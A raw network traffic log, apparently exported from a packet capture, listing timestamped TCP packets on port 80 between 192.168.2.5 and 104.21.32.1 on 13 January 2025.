Jan 13, 2025 09:22:27.035856962 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035868883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035875082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035883904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035893917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035901070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035911083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035917997 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035943031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035972118 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035979986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036009073 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.036026001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036036968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036047935 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036060095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036066055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.036078930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036088943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.036103964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036109924 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.036118984 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036129951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.036135912 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.036149979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.036161900 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041049957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041222095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041232109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041239023 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041248083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041258097 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041268110 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041274071 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041284084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041290045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041301966 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041311026 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041317940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041328907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041336060 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041352034 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041358948 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041368008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041373968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041383028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041398048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041402102 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041414976 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041421890 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041435003 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041443110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041450024 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041457891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041475058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041487932 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041495085 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041511059 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041517973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041528940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041534901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041544914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041552067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041563988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041568995 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041583061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041594982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041599989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041615009 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041630983 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041641951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041651964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041661978 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041671038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041677952 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041687012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041697025 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041704893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041713953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041721106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041737080 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041747093 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041757107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041763067 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041771889 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041779041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041789055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041796923 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041804075 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041810989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041822910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041826963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041837931 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041843891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041852951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041858912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041868925 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041878939 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041884899 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041898966 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041906118 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041914940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041924953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041944027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041954041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041963100 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041970968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041980982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.041989088 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.041999102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042006016 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042013884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042026043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042035103 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042056084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042068958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042520046 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042529106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042563915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042613029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042629957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042639971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042651892 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042660952 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042674065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042686939 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042695045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042706013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042715073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042726040 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042741060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042752028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042759895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042768955 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042778015 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042795897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042805910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042818069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042826891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042831898 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042848110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042854071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042864084 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042874098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042881012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042892933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042900085 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042908907 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042916059 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042927027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042934895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042943954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042952061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042962074 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.042969942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.042977095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043031931 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043220997 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043272018 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043282986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043292999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043303967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043311119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043338060 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043345928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043356895 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043368101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043376923 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043385983 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043407917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043432951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043565989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043654919 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043664932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043675900 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043688059 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043698072 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043704987 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043724060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043729067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043739080 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.043757915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.043776035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.113997936 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114011049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114027023 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114037037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114048958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114067078 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.114077091 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114087105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114103079 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.114109039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.114144087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.328994036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329061031 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329067945 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329081059 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329092026 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329101086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329116106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329124928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329139948 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329149961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329159975 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329169035 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329178095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329185963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329197884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329206944 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329237938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329246998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329257011 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329272032 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329281092 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329289913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329298019 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329305887 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329315901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329319954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329330921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329343081 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329348087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329360962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329443932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329452991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329461098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329471111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329482079 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329487085 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329503059 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329509974 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329519987 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329526901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329535961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329547882 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329552889 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329561949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329569101 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329576015 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329586029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329595089 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329601049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329611063 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329617023 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329627991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329633951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329649925 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329658031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329667091 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329682112 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329687119 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329696894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329705954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329710960 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329720020 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329727888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329736948 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329745054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329755068 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329760075 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329771042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329776049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329787016 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329792023 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329803944 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329809904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329818010 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329824924 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329833031 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329838991 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329849005 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329855919 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329869032 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329874039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329885006 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329891920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329898119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329912901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329926014 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329937935 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329942942 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329958916 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.329965115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329974890 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329984903 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.329996109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330002069 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330010891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330020905 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330032110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330039024 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330039024 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330051899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330063105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330070019 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330080986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330086946 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330096006 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330106020 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330111980 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330121040 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330132008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330137968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330146074 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330152988 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330163002 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330173016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330177069 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330184937 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330194950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330202103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330210924 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330224037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330228090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330236912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330245018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330254078 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330265999 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330271959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330282927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330288887 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330297947 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330307961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330313921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330322981 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330332041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330338001 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330347061 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330353022 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.330362082 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330373049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.330379009 CET	49865	80	192.168.2.5	104.21.32.1
